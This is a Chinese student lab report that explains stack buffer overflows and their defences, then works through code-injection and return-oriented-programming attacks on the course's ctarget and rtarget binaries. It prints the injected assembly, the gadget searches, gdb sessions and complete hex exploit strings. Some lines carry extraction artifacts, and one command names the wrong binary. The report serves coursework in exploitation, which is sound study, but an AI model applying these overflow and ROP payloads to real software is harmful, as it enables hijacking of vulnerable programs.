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实验基础  
溢出的原理与简单实现  

C语⾔对于数组引⽤不进⾏任何边界检查，⽽且局部变量和状态信息（例如保存的寄存器值和返回地址）都存
放在栈中。这两种情况结合到⼀起就能导致严重的程序错误，对越界的数组元素的写操作会破坏存储在栈中的状态
信息。当程序使⽤这个被破试图重新加载寄存器或执⾏ ret 指令时，就会出现很严重的错误。

 

例如本题所依赖的经典的缓冲区溢出(buffer overflow)：在电脑学上是指针对程序设计缺陷，向程序输⼊缓冲
区写⼊使之溢出的内容（通常是超过缓冲区能保存的最⼤数据量的数据），从⽽破坏程序运⾏、趁着中断之际并获
取程序乃⾄系统的控制权。

 

造成此现象的原因有：

存在缺陷的程序设计。
尤其是C语⾔，不像其他⼀些⾼级语⾔会⾃动进⾏数组或者指针的堆栈区块边界检查，增加溢出⻛险。
C语⾔中的C标准库还具有⼀些⾮常危险的操作函数，使⽤不当也为溢出创造条件。

 

如下代码对此问题进⾏简要说明：

/* Implementation of library function gets() */
char *gets(char *s)
{
  int c;
  char *dest = s;
  while ((c = getcharO) != '\n' && c != EOF)
  *dest++ = c;
  if (c == EOF && dest == s)
  /* No characters read */
  return NULL;
  *dest++ = '\0'; 
  /* Terminate string */
  return s;
}
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https://zh.wikipedia.org/wiki/%E9%9B%BB%E8%85%A6%E5%AD%B8
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1
https://zh.wikipedia.org/wiki/%E7%BC%93%E5%86%B2%E5%8C%BA
https://zh.wikipedia.org/wiki/%E7%A8%8B%E5%BA%8F%E9%94%99%E8%AF%AF
https://zh.wikipedia.org/wiki/C%E8%AF%AD%E8%A8%80
https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E8%AF%AD%E8%A8%80
https://zh.wikipedia.org/wiki/%E8%BE%B9%E7%95%8C%E6%A3%80%E6%9F%A5
https://zh.wikipedia.org/wiki/C%E6%A0%87%E5%87%86%E5%BA%93


前⾯的代码给出了库函数 gets的⼀个实现，⽤来说明这个函数的严重问题。

gets标准输⼊读⼊⼀⾏，在遇到⼀个回⻋换⾏字符或某个错误情况时停⽌。它将这个字符串复制到参数 s指

明的位置，并在字符串结尾加上 null字符。在函数 echo中，我们使⽤了 gets，简单地从标准输⼈中读⼊⼀⾏，

再把它回送到标准输出。 gets的问题是它没有办法确定是否为保存整个字符串分配了⾜够的空间。在 echo中，

缓冲区的⼤⼩只有 8个字符，故⽽不计⼊换⾏符时，任何⻓度超过 7个字符的字符串都会导致写越界。

 

我们尝试通过查看反汇编代码来检查栈帧情况。

 

具体⽽⾔，运⾏栈的情况可参考下⼊图。

 

运⾏过程中，程序把栈指针减去了 24 (第 2⾏）， 在栈上分配了 24个字节。字符数组 buf位于栈顶，可以看

到 ， %rsp被复制到 rdi，作为调⽤ gets和 puts的参数。在此基础上，可以发现有 16字节是未被使⽤的（此处

对课程PPT当中的部分内容进⾏探究，请参⻅）。 

只要⽤户输⼈不超过 7个字符， gets返回的字符串（包括结尾的 null）就能够放进为 buf分配的缓冲区。

/* Read input line and write it back */
void echo()
{
  char buf[8]; /* Way too small! */
  gets(buf);
  puts(buf);
}
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echo:
  subq  $24, %rsp   Allocate 24 bytes on stack
  movq  %rsp, %rdi  Compute buf as %rsp
  call  gets
  movq  %rsp, %rdi  Compute buf as %rsp
  call  puts
  addq  $24, %rsp Deallocate stack space
  ret
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⽽超过这个输⼊范围后，输⼊的字符串就会导致 gets覆盖栈上存储的某些信息。

 参考如下图表：

字符串到 23个字符之前都没有严重的后果，但是超过以后，返回指针的值以及更多可能的保存状态会被破

坏。 如果存储的返回地址的值被破坏了，那么 ret指令(第 8⾏)会导致程序跳转到⼀个完全意想不到的位置，这就
是本实验的原理。

 

溢出的防护  

编程语⾔的选择  

汇编和 C/C++ 是流⾏的编程语⾔，它们容易受到缓冲区溢出的影响，部分原因是它们允许直接访问内存并且不
是强类型的。 C 没有提供内置保护来防⽌访问或覆盖内存任何部分中的数据；更具体地说，它不检查写⼊缓冲区的
数据是否在该缓冲区的边界内。标准 C++ 库提供了许多安全缓冲数据的⽅法，并且 C++ 的标准模板库(STL) 提供了
容器，如果程序员在访问数据时显式调⽤检查，这些容器可以选择性地执⾏边界检查。例如， vector的成员函
数 at()执⾏边界检查并抛出 out_of_range  异常如果边界检查失败。但是，如果未显式调⽤边界检查，C++ 的⾏
为就像 C。

强类型且不允许直接访问内存的语⾔（例如 COBOL、Java、Python 等）在⼤多数情况下可防⽌发⽣缓冲区溢
出。C/C++ 以外的许多编程语⾔都提供运⾏时检查，在某些情况下甚⾄提供编译时检查，当 C 或 C++ 覆盖数据并
继续执⾏进⼀步指令直到获得错误结果时，这可能会发送警告或引发异常这可能会或可能不会导致程序崩溃。此类
语⾔的示例包括Ada、Eiffel、Lisp、Modula-2、Smalltalk、OCaml以及诸如Cyclone、Rust 之类的 C 衍⽣物和
d。在的Java和.NET框架字节码的环境也需要界限所有阵列检查。⼏乎每种解释型语⾔都会防⽌缓冲区溢出，从⽽
发出明确定义的错误条件。通常，当⼀种语⾔提供⾜够的类型信息来进⾏边界检查时，会提供⼀个选项来启⽤或禁
⽤它。静态代码分析可以去除许多动态边界和类型检查，但是糟糕的实现和尴尬的情况会显着降低性能。在决定使
⽤哪种语⾔和编译器设置时，软件⼯程师必须仔细考虑安全性与性能成本之间的权衡。

 

栈破坏检测  

近期的GCC版本在产⽣的代码加⼊了⼀种栈保护者机制，来检测缓冲区越界。其思想是在栈帧中任何局部缓冲
区和栈状态之间存储⼀个特殊的⾦丝雀值。在恢复寄存器状态和从函数返回之前，程序检查这个⾦丝雀值是否被该
函数的某个操作或者该函数调⽤的某个操作改变了。如果是的，那么程序异常中⽌。

 

https://en.wikipedia.org/wiki/Strongly_typed
https://en.wikipedia.org/wiki/Standard_Template_Library
https://en.wikipedia.org/wiki/Exception_handling
https://en.wikipedia.org/wiki/Ada_(programming_language)
https://en.wikipedia.org/wiki/Eiffel_(programming_language)
https://en.wikipedia.org/wiki/Lisp_(programming_language)
https://en.wikipedia.org/wiki/Modula-2
https://en.wikipedia.org/wiki/Smalltalk
https://en.wikipedia.org/wiki/OCaml
https://en.wikipedia.org/wiki/Cyclone_(programming_language)
https://en.wikipedia.org/wiki/Rust_(programming_language)
https://en.wikipedia.org/wiki/D_(programming_language)
https://en.wikipedia.org/wiki/Java_(software_platform)
https://en.wikipedia.org/wiki/.NET_Framework
https://en.wikipedia.org/wiki/Interpreted_programming_language
https://en.wikipedia.org/wiki/Static_code_analysis


使⽤安全库  

缓冲区溢出问题在 C 和 C++ 语⾔中很常⻅，因为它们将缓冲区的低级表示细节公开为数据类型的容器。因
此，必须通过在执⾏缓冲区管理的代码中保持⾼度的正确性来避免缓冲区溢出。⻓期以来，⼈们⼀直建议避免未进
⾏边界检查的标准库函数，例如 gets、 scanf和 strcpy。

 

指针保护  

缓冲区溢出通过操作指针来⼯作，包括存储的地址。PointGuard被提议作为编译器扩展，以防⽌攻击者能够
可靠地操作指针和地址。该⽅法的⼯作原理是让编译器在使⽤前后添加代码以⾃动对指针进⾏异或编码。从理论上
讲，由于攻击者不知道将使⽤什么值来编码/解码指针，因此他⽆法预测如果⽤新值覆盖它会指向什么。

 

地址空间布局随机化  

地址空间布局随机化 (ASLR) 是⼀种计算机安全功能，它涉及在进程的地址空间中随机排列关键数据区域的位
置，通常包括可执⾏⽂件的基址和库、堆和堆栈的位置。

函数和变量的虚拟内存地址的随机化可以使缓冲区溢出的利⽤更加困难，但并⾮不可能。它还迫使攻击者针对
单个系统定制攻击尝试，从⽽挫败了互联⽹蠕⾍的企图。

 

实验⽬的  
理解什么是缓冲区溢出
攻击带有缓冲区溢出漏洞的程序
通过攻击实验，进⼀步学习如何编写更加安全的程序
了解并理解编译器和操作系统为了让程序更加安全⽽提供的⼏种特性

了解对于没有充分预防缓冲区溢出的程序，攻击者常采取的攻击⼿段
进⼀步理解x86-64中参数传递和运⾏时栈的⼯作机制
熟悉x86-64指令的编码⽅式
熟悉 gdb, objdump 等调试⼯具的使⽤⽅法
熟悉服务器运⾏程序的相关操作

 

Part A  
Phase1  

https://en.wikipedia.org/wiki/Pointer_(computer_programming)
https://en.wikipedia.org/wiki/Virtual_memory
https://en.wikipedia.org/wiki/Internet_worm


实验原理  

phase1与上⽂实验基础第⼀部分叙述相同，故⽽实现实验原理即可。

 

运⾏栈示意图  

 

实验过程  

使⽤命令 objdump -d ctarget > ctarget.d  得到反汇编代码 ctarget.d。查找 getbuf  函数信息如
下：

缓冲区⼤⼩为 ，也即 ，所以是40个字节(byte)，⼀个字节⼋个⽐特(bit)，即 ，⽽⼗六进制下，

，故⽽⼗六进制下两个数字，⼀个字符即为⼀个字节(byte)。在40个字符后的8个字符存储的即为函数返
回地址。

 

查找 touch1  函数位置：

   00000000004017fe <getbuf>:
  4017fe: 48 83 ec 28           sub    $0x28,%rsp
  401802: 48 89 e7              mov    %rsp,%rdi
  401805: e8 94 02 00 00        callq  401a9e <Gets>
  40180a: b8 01 00 00 00        mov    $0x1,%eax
  40180f: 48 83 c4 28           add    $0x28,%rsp
  401813: c3                    retq   
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故⽽我们只需要先将缓冲区40个字符填充完整，在随后的8个字符填⼊ touch1的函数地址即可。从⽽构造如

下攻击代码，并保存为 1.txt：

 

随后在终端运⾏如下命令，触发异常：

此处⾸先遇到 zsh: exec format error: ./hex2raw错误，研究了错误原因后解决了该问题。在服务器
端，还出现了⽂件被清空的问题，详⻅实验⼼得。

 

实验结果  

 

    0000000000401814 <touch1>:
  401814: 48 83 ec 08           sub    $0x8,%rsp
  401818: c7 05 da 2c 20 00 01  movl   $0x1,0x202cda(%rip)        # 6044fc <vlevel>
  40181f: 00 00 00 
  401822: 48 8d 3d a8 19 00 00  lea    0x19a8(%rip),%rdi        # 4031d1 
<_IO_stdin_used+0x301>
  401829: e8 92 f4 ff ff        callq  400cc0 <puts@plt>
  40182e: bf 01 00 00 00        mov    $0x1,%edi
  401833: e8 d6 04 00 00        callq  401d0e <validate>
  401838: bf 00 00 00 00        mov    $0x0,%edi
  40183d: e8 ee f5 ff ff        callq  400e30 <exit@plt>
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00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
14 18 40 00 00 00 00 00
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> ./hex2raw < 1.txt > 1.in;
>  ./ctarget -q -i 1.in

或者直接多次重定向：

cat 1.txt | ./hex2raw | ./ctarget -q
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Phase2  

实验原理  

本题需求在 phase1的基础上，更进⼀步修改传⼊参数的值。

如果是在32位机器上，此需求较为简单，由于32位传递参数是通过运⾏栈实现的，所以只需要再修改 return 

address上⽅的栈即可。

⽽在64位机器上，本题传⼊的唯⼀参数是通过寄存器传⼊，考虑到题⽬要求，⼜不能直接使⽤ call , jmp等指
令，故⽽只能 ret指令改变当前指令寄存器的指向地址。 ret是从栈上弹出返回地址，所以在次之前必须先

将 touch2的地址压栈。从⽽构建了如下需求：

1. 使⽤指令，修改 rdi的值。

2. 将 touch2的地址压栈后⽴刻返回。

看上去这个要求似乎是在⼀个程序当中执⾏另⼀个程序，毕竟上⽅的需求并没有出现在 ctarget内，然⽽在

实验基础第⼀部分，我们可以注意到，可以有意的修改输⼊到 getbuf⾥的参数。从⽽总体的实验思路如下：

1. 编写汇编代码实现上述功能，并将16进制代码注⼊到 getbuf下拉的运⾏栈内。

2. 修改 getbuf的返回地址，使得 getbuf返回⾄之前的运⾏栈中，并修改 %rdi且将 touch2地址压⼊

栈，随后返回即可。

 

运⾏栈示意图  

实验过程  

⾸先查看 touch2函数的功能：检查传⼊的参数 val是否和 cookie中值相等。



 

检查我的cookie如下：

 

检查 touch2的地址如下：

 

参考实验原理部分，编写如下功能：

 

为了得到⼆进制代码，利⽤ g++或者gcc将其汇编成⼆进制⽂件，再⽤objdump反汇编。考虑到服务器上只有
gcc，并未配置g++，故⽽此处采⽤gcc即可。

void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie){
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
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2020012363@hp:~$ ./ctarget -q
Cookie: 0x2c0de9c4
Type string:fsdfsd
No exploit.  Getbuf returned 0x1
Normal return

1
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0000000000401842 <touch2>:
  401842: 48 83 ec 08           sub    $0x8,%rsp
  401846: 89 fa                 mov    %edi,%edx
  401848: c7 05 aa 2c 20 00 02  movl   $0x2,0x202caa(%rip)        # 6044fc <vlevel>

1
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# phrase2.s
movl $0x2c0de9c4, %edi # 传递cookie
pushq $0x0000000000401842 # 将touch2地址压栈
ret
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得到如下反汇编代码：

 

接下来查询所需要的下拉栈的⾸地址，注意到直接在getbuf的第⼆⾏加上断点即可完成。

 

故⽽利⽤gdb给401802位置加⼊断点：

查询到下拉栈⾸地址为0x5566f4a8。

 

综上所述，如下构造2.txt：

2020012363@hp:~$ gcc -c pharse2.s -o 2.o
pharse2.s: Assembler messages:
pharse2.s: Warning: end of file not at end of a line; newline inserted
2020012363@hp:~$ objdump -S 2.o > phrase2.s

1
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pharse2.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0: bf c4 e9 0d 2c        mov    $0x2c0de9c4,%edi
   5: 68 42 18 40 00        pushq  $0x401842
   a: c3                    retq        
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00000000004017fe <getbuf>:
  4017fe: 48 83 ec 28           sub    $0x28,%rsp
  401802: 48 89 e7              mov    %rsp,%rdi

1
2
3

2020012363@hp:~$ gdb ctarget
(gdb) b *0x401802
Breakpoint 1 at 0x401802: file buf.c, line 14.
(gdb)  run -q 
Starting program: /home/2020012363/ctarget -q
Cookie: 0x2c0de9c4
Breakpoint 1, getbuf () at buf.c:14
(gdb) p $rsp
$1 = (void *) 0x5566f4a8
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参考原理部分，构造由三部分组成：

1. 从下拉栈顶部写⼊的⼆进制指令
2. ⽤来补位的0x00
3. 将return address修改为下拉栈顶部的地址

 

进⾏检验：

 

实验结果  

 

 

Phase3  

实验原理  

本题需求在 phase2的基础上，将传⼊的参数修改为了指针。需要防⽌指针指向的内容在函数调⽤过程中被修

改，也即需要对这⼀内存空间加以保护。考虑到函数touch3中，实际上调⽤了hexmatch和strncmp，这有⼀定概
率修改存放在getbuf栈⾥的数据，故⽽getbuf的栈内⽆法安全地保存数据。故⽽我们将数据存放到getbuf函数的⽗
栈中，也即test函数的栈中，达到保护⽬的。 

类似于 phase2，我们⾸先给出需要注⼊的指令的需求：

bf c4 e9 0d 2c
68 42 18 40 00
c3 
00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
a8 f4 66 55 00 00 00 00
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cat 2.txt | ./hex2raw | ./ctarget -q1



1. 使⽤指令，修改 rdi的值为test的栈中地址，具体⽽⾔，即为getbuf的return address的正上⽅。
2. 将touch3的函数地址压⼊栈中。

 

在此基础上，设计输⼊getbuf的参数，包含如下部分：

1. 上述注⼊指令的⼗六进制代码
2. ⽤于补位的0x00
3. 将return address修改为下拉栈顶部的地址
4. 将cookie的字符串表示写⼊return address的正上⽅

 

运⾏栈示意图  

实验过程  

通过如下命令对应查询cookie这⼀ACSII码的16进制表示。

 

结合phase2中，下拉栈栈顶地址为0x5566f4a8，故⽽return address的地址为0x5566f4d0，故⽽return 
address上⽅地址为0x5566f4d8，我们需要在此地址写⼊cookie的⼗六进制表示，且将此地址传⼊给%edi。

 

> ipython
Python 3.8.8 (default, Apr 13 2021, 12:59:45)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.22.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: import base64

In [2]: s = b"2c0de9c4"

In [3]: print(f"{base64.b16encode(s)}")
b'3263306465396334'

1
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3
4
5
6
7
8
9

10
11



⽽查找后，touch3的函数地址为0000000000401959。

 

综上，写出如下汇编代码：

同样将其转为16进制格式：

得到如下反汇编代码：

综上所述，按照实验原理部分说明，编写如下攻击代码：

0000000000401959 <touch3>:
  401959: 53                    push   %rbx
  40195a: 48 89 fb              mov    %rdi,%rbx
  40195d: c7 05 95 2b 20 00 03  movl   $0x3,0x202b95(%rip)        # 6044fc <vlevel>

1
2
3
4

# 3.s
movq $0x5566f4d8, %rdi # 将字符串的存储地址传⼊给%edi
pushq $0x401959 # 将touch3地址压栈
ret

1
2
3
4

2020012363@hp:~$ gcc -c 3.s -o 3.o
3.s: Assembler messages:
3.s: Warning: end of file not at end of a line; newline inserted
2020012363@hp:~$ objdump -S 3.o > 3.s

1
2
3
4

3.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0: 48 c7 c7 d8 f4 66 55  mov    $0x5566f4d8,%rdi
   7: 68 59 19 40 00        pushq  $0x401959
   c: c3                    retq   

1
2
3
4
5
6
7
8
9

10
11

48 c7 c7 d8 f4 66 55
68 59 19 40 00
c3  00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a8 f4 66 55 00 00 00 00
32 63 30 64 65 39 63 34

1
2
3
4
5
6
7
8



攻击代码由如下部分组成：

1. 读⼊待执⾏指令⼗六进制序列
2. 采⽤0x00占位
3. 将返回地址覆盖成待执⾏getbuf栈顶地址
4. cookie对应字符串的表示

进⾏检验：

 

实验结果  

 

Part B  
Phase4  

实验原理  

参考实验基础部分叙述的保护机制，为防⽌缓冲区溢出攻击，题⽬中rtarget采取了两项措施：

1. 栈地址随机化。攻击者⽆法得知每次缓冲区确切位置，从⽽⽆法直接得到注⼊代码的位置。
2. 对内存中栈的区域标定为不可执⾏。如果程序计数器指向栈中的代码，将会触发段错误。

因此，这⼀节中我们采⽤ Return-Oriented Programming 对 rtarget 实施攻击。具体地说，运⾏栈中⽆法写
⼊指令，故⽽⽆法采⽤如同phase2的策略。同时，如果简单的将需要的指令依次写在return address的正上⽅，
程序不可能按照栈中的顺序执⾏。

从⽽我们只能利⽤rtarget的源代码拼凑出我们想要执⾏的指令序列。这⼀过程中，每⼀⼩段代码称为⼀个
gadget，其中包含我们想要执⾏的指令，并以 ret 结尾（因为需要修改程序计数器），进⽽引发缓冲区中下⼀条
gadget的执⾏。

 

在此基础上，我们给出需要实现的指令：

1. 将cookie的值存⼊中间寄存器%rax的指令（为何如此实现详⻅实验过程部分）
2. 将%rax中的值存⼊%rdi的指令

cat 3.txt | ./hex2raw | ./ctarget -q1



 

在此基础上，设计输⼊getbuf的攻击⽂件，包含如下部分：

1. ⽤0x00补位
2. 将return address修改为执⾏popq %rax的地址（gadget1）
3. return address上⽅写⼊cookie
4. 在3上⽅写⼊执⾏movq %rax %rdi指令的地址（gadget2）
5. 在4上⽅写⼊touch2函数的地址

 

运⾏栈示意图  

 

实验过程  



⾸先我们根据上⽅表格，试图直接找到popq %rdi ret指令的位置，也即指令5f c3

然⽽并未找到所需结果，从⽽我们需要寻找替代。

考虑能否先将cookie的值传递给中间寄存器，随后中间寄存器mov到rdi上，完成赋值。

以%rax为中间寄存器，这意味着我们需要如下操作：

通过如下表格和上⽅popq的操作表格，查询到对应的16进制代码为(这⼀部分遇到⼀定困难，详⻅问题解决部
分说明)：

利⽤grep查询，然后精准的将程序计数器设置到48的地址，⽽程序即会在c3运⾏结束后ret掉，这样以来，我
很快得到了需要的代码地址。也即将401a18向后偏移⼀位：0x401a19。

 

同样，查询 popq  %rax ret对应的⼆进制代码的地址(此处同样遇到困难，详⻅问题解决)：

2020012363@hp:~$ objdump -S rtarget> rtarget.s
2020012363@hp:~$ grep "5f c3" rtarget.s

1
2

popq %rax
ret
movq %rax %rdi
ret

1
2
3
4

58
c3
48 89 c7 c3

1
2
3

2020012363@hp:~$ grep "48 89 c7 c3" rtarget.s
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax

1
2

00000000004019fc <addval_327>:
  4019fc: 8d 87 58 90 c3 e0     lea    -0x1f3c6fa8(%rdi),%eax
  401a02: c3                    retq   

1
2
3



所以直接跳转⾄0x4019fe即可。

 

参考上⽂，touch2的地址为：0000000000401842，⽽cookie的值为：2c0de9c4。

 

综上，构造如下攻击代码4.txt:

也即如下五部分组成：

1. ⽤0x00补位
2. 将return address修改为执⾏popq %rax的地址（gadget1）
3. return address上⽅写⼊cookie
4. 在3上⽅写⼊执⾏movq %rax %rdi指令的地址（gadget2）
5. 在4上⽅写⼊touch2函数的地址

 

进⾏检验：

 

实验结果  

 

 

Phase5  

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fe 19 40 00 00 00 00 00
c4 e9 0d 2c 00 00 00 00
19 1a 40 00 00 00 00 00
42 18 40 00 00 00 00 00

1
2
3
4
5
6
7
8
9

cat 4.txt | ./hex2raw | ./ctarget -q1



实验原理  

phase5采⽤了随机栈地址的⽅式来保护程序。我们同样需要做的就是把字符串的起始地址，传送到 %rdi，然

后调⽤ touch3函数。因为每次栈的位置是随机的，所以⽆法直接⽤地址来索引字符串的起始地址，只能⽤栈顶地

址 + 偏移量来索引字符串的起始地址。注意到我们拥有如下指令 lea(%rdi,%rsi,1),%rax，视其为gadget0，这
样就可以把字符串的⾸地址传送到 %rax。

 

在gadget0的基础上，⼀条可⾏的指令路径如下（省略了指令完成之后的ret指令，且指令按照从前到后次序执
⾏，对应在栈中即为从栈顶向上）：

1. movq %rsp, %rax，视为gadget1
2. movq %rax, %rdi，视为gadget2
3. pop %rax，将偏移量传递给%rax，视为gadget3
4. movl %eax, %edx，视为gaget4
5. movl %edx, %ecx，视为gaget5
6. movl %ecx, %esi，视为gaget6
7. lea (%rdi, %rsi, 1)，即gaget0
8. movq %rax, %rdi，视为gaget7
9. 在得到的%rdi所指向位置写⼊cookie的⼗六进制字符串

10. 执⾏touch3

 

故⽽攻击代码由以下部分构成：

1. 采⽤0x00填充getbuf的下拉栈
2. 在原返回地址上写⼊movq %rsp, %rax的地址，视为gadget1
3. gadget1的上⽅写⼊movq %rax, %rdi的地址，视为gadget2
4. gadget2上⽅写⼊pop %rax的地址，视为gadget3
5.  gadget3上⽅写⼊偏移量
6. 偏移量上⽅写⼊movl %eax, %edx的地址，视为gaget4
7. gadget4上⽅写⼊movl %edx, %ecx的地址，视为gaget5
8. gadget5上⽅写⼊movl %ecx, %esi的地址，视为gaget6
9. gadget6上⽅写⼊lea (%rdi, %rsi, 1)的地址，即gaget0

10. gadget0上⽅写⼊movq %rax, %rdi的地址，视为gaget7
11. gadget7上⽅写⼊touch3函数的地址
12. touch3函数地址上⽅写⼊cookie的⼗六进制字符串

 

运⾏栈示意图  



 

实验过程  



⾸先我们根据上⽅表格与运⾏栈示意图得到如下所需指令：

 

分别的查询结果如下，上⽅为shell指令，下⽅为对应gadget：

 

movq %rsp, %rax 48 89 e0
movq %rax, %rdi 48 89 c7
popq %rax 58
movl %eax, %edx 89 c2
movl %edx, %ecx 89 d1
movl %ecx, %esi 89 ce
lea (%rdi,%rsi,1),%rax 48 8d 04 37
movq %rax, %rdi 48 89 c7

1
2
3
4
5
6
7
8

2020012363@hp:~$ grep "48 89 e0" rtarget.s
  401a44:       c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
  401ae2:       b8 48 89 e0 c3          mov    $0xc3e08948,%eax
  401af6:       b8 48 89 e0 c7          mov    $0xc7e08948,%eax
  401b0f:       8d 87 48 89 e0 c2       lea    -0x3d1f76b8(%rdi),%eax
  40217a:       48 89 e0                mov    %rsp,%rax
  -----------------------------------------------------------------------------
0000000000401a44 <setval_196>:
  401a44: c7 07 48 89 e0 90     movl   $0x90e08948,(%rdi)
  401a4a: c3                    retq   
可⻅gadget1地址为0x401a46

1
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  2020012363@hp:~$ grep "48 89 c7" rtarget.s
  401a11:       c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a1e:       b8 48 89 c7 90          mov    $0x90c78948,%eax
  4021b4:       48 89 c7                mov    %rax,%rdi
  -----------------------------------------------------------------------------
0000000000401a18 <getval_449>:
  401a18: b8 48 89 c7 c3        mov    $0xc3c78948,%eax
  401a1d: c3                    retq  
  可⻅gadget2地址为0x401a19

1
2
3
4
5
6
7
8
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 2020012363@hp:~$ grep "58" rtarget.s
  400c58:       ff d0                   callq  *%rax
  400cf0:       ff 25 62 43 20 00       jmpq   *0x204362(%rip)        # 605058 
<mmap@GLIBC_2.2.5>
  400fa5:       48 8d 3d ac 20 00 00    lea    0x20ac(%rip),%rdi        # 403058 
<_IO_stdin_used+0x68>
  401058:       89 c7                   mov    %eax,%edi
  401249:       48 8b 0d 58 42 20 00    mov    0x204258(%rip),%rcx        # 6054a8 
<optarg@@GLIBC_2.2.5>
  401583:       8b 44 24 1c             mov    0x1c(%rsp),%eax
  401587:       69 c0 11 36 00 00       imul   $0x3611,%eax,%eax
  40158d:       89 44 24 1c             mov    %eax,0x1c(%rsp)
  401858:       74 2a                   je     401884 <touch2+0x42>
  4019fc:       8d 87 58 90 c3 e0       lea    -0x1f3c6fa8(%rdi),%eax
 -----------------------------------------------------------------------------
00000000004019fc <addval_327>:
  4019fc: 8d 87 58 90 c3 e0     lea    -0x1f3c6fa8(%rdi),%eax
  401a02: c3                    retq 
  可⻅gadget3的地址为0x4019fe

1
2
3

4

5
6

7
8
9

10
11
12
13
14
15
16

2020012363@hp:~$ grep "89 c2" rtarget.s
  4019d9:       89 c2                   mov    %eax,%edx
  401a3d:       8d 87 89 c2 a4 c9       lea    -0x365b3d77(%rdi),%eax
  401a4b:       c7 07 89 c2 91 90       movl   $0x9091c289,(%rdi)
  401a75:       8d 87 89 c2 90 90       lea    -0x6f6f3d77(%rdi),%eax
  401a7c:       c7 07 89 c2 20 c9       movl   $0xc920c289,(%rdi)
  401ab8:       c7 07 89 c2 00 c0       movl   $0xc000c289,(%rdi)
  401adb:       8d 87 89 c2 00 c9       lea    -0x36ff3d77(%rdi),%eax
  401afc:       b8 89 c2 00 c9          mov    $0xc900c289,%eax
  402180:       48 89 c2                mov    %rax,%rdx
   -----------------------------------------------------------------------------
0000000000401a4b <setval_308>:
  401a4b: c7 07 89 c2 91 90     movl   $0x9091c289,(%rdi)
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  401a51: c3                    retq   
  可⻅gadget4的地址为0x401a4d

14
15

2020012363@hp:~$ grep "89 d1" rtarget.s
  400e82:       49 89 d1                mov    %rdx,%r9
  4017d5:       89 d1                   mov    %edx,%ecx
  401a59:       8d 87 89 d1 20 d2       lea    -0x2ddf2e77(%rdi),%eax
  401a8a:       b8 89 d1 84 d2          mov    $0xd284d189,%eax
  401a96:       c7 07 c3 89 d1 92       movl   $0x92d189c3,(%rdi)
  401b02:       8d 87 89 d1 18 c0       lea    -0x3fe72e77(%rdi),%eax
  -----------------------------------------------------------------------------
0000000000401a96 <setval_255>:
  401a96: c7 07 c3 89 d1 92     movl   $0x92d189c3,(%rdi)
  401a9c: c3                    retq   
  可⻅gadget5的地址为0x401a99
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2020012363@hp:~$ grep "89 ce" rtarget.s
  401a52:       c7 07 89 ce 48 d2       movl   $0xd248ce89,(%rdi)
  401a60:       8d 87 89 ce 60 c9       lea    -0x369f3177(%rdi),%eax
  401aa4:       8d 87 89 ce 84 c0       lea    -0x3f7b3177(%rdi),%eax
  401ad4:       8d 87 46 6a 89 ce       lea    -0x317695ba(%rdi),%eax
  401b09:       b8 89 ce 28 c0          mov    $0xc028ce89,%eax
  4023de:       48 89 ce                mov    %rcx,%rsi
  4024ef:       4d 89 ce                mov    %r9,%r14
   -----------------------------------------------------------------------------
0000000000401ad4 <addval_180>:
  401ad4: 8d 87 46 6a 89 ce     lea    -0x317695ba(%rdi),%eax
  401ada: c3                    retq 
  可⻅gadget6的地址为0x401ad8

1
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2020012363@hp:~$ grep "lea (%rdi,%rsi,1),%rax" rtarget.s
2020012363@hp:~$ grep "(%rdi,%rsi,1),%rax" rtarget.s
  401a38:       48 8d 04 37             lea    (%rdi,%rsi,1),%rax
  -----------------------------------------------------------------------------
0000000000401a38 <add_xy>:
  401a38: 48 8d 04 37           lea    (%rdi,%rsi,1),%rax
  401a3c: c3                    retq   
  可⻅gadget0的地址为0x401a38

1
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参考上⽂，touch3的地址为：0000000000401959，⽽cookie的16进制字符串为：3263306465396334。

0x401a99

0x401a46 0x401a19 0x4019fe 0x401a4d 0x401a99 0x401ad8 0x401a38 0x401a19

综上，构造如下攻击代码5.txt:

由如下部分组成：

1. 采⽤0x00填充getbuf的下拉栈
2. 在原返回地址上写⼊movq %rsp, %rax的地址
3. gadget1的上⽅写⼊movq %rax, %rdi的地址
4. gadget2上⽅写⼊pop %rax的地址
5.  gadget3上⽅写⼊偏移量

2020012363@hp:~$ grep "48 89 c7" rtarget.s
  401a11:       c7 07 48 89 c7 94       movl   $0x94c78948,(%rdi)
  401a18:       b8 48 89 c7 c3          mov    $0xc3c78948,%eax
  401a1e:       b8 48 89 c7 90          mov    $0x90c78948,%eax
  4021b4:       48 89 c7                mov    %rax,%rdi
  -----------------------------------------------------------------------------
0000000000401a18 <getval_449>:
  401a18: b8 48 89 c7 c3        mov    $0xc3c78948,%eax
  401a1d: c3                    retq   
  可⻅gadget7的地址为0x401a19
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00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

46 1a 40 00 00 00 00 00
19 1a 40 00 00 00 00 00
fe 19 40 00 00 00 00 00

48 00 00 00 00 00 00 00

4d 1a 40 00 00 00 00 00
99 1a 40 00 00 00 00 00
d8 1a 40 00 00 00 00 00
38 1a 40 00 00 00 00 00
19 1a 40 00 00 00 00 00

59 19 40 00 00 00 00 00

32 63 30 64 65 39 63 34

